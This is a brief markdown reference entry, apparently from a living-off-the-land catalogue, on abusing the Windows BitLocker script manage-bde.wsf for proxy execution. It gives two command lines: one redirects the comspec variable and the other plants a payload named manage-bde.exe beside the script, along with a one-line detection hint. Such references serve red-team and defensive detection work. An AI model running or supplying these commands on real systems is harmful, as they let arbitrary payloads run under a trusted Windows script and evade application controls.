~/Privilege Escalation/Windows/Binaries# cat Manage-bde.wsf.md

Script for managing BitLocker

Paths:

C:\Windows\System32\manage-bde.wsf

Detection: Manage-bde.wsf should normally not be invoked by a user

Execute

Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.

set comspec=c:\windows\system32\calc.exe & cscript c:\windows\system32\manage-bde.wsf

Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file.

copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf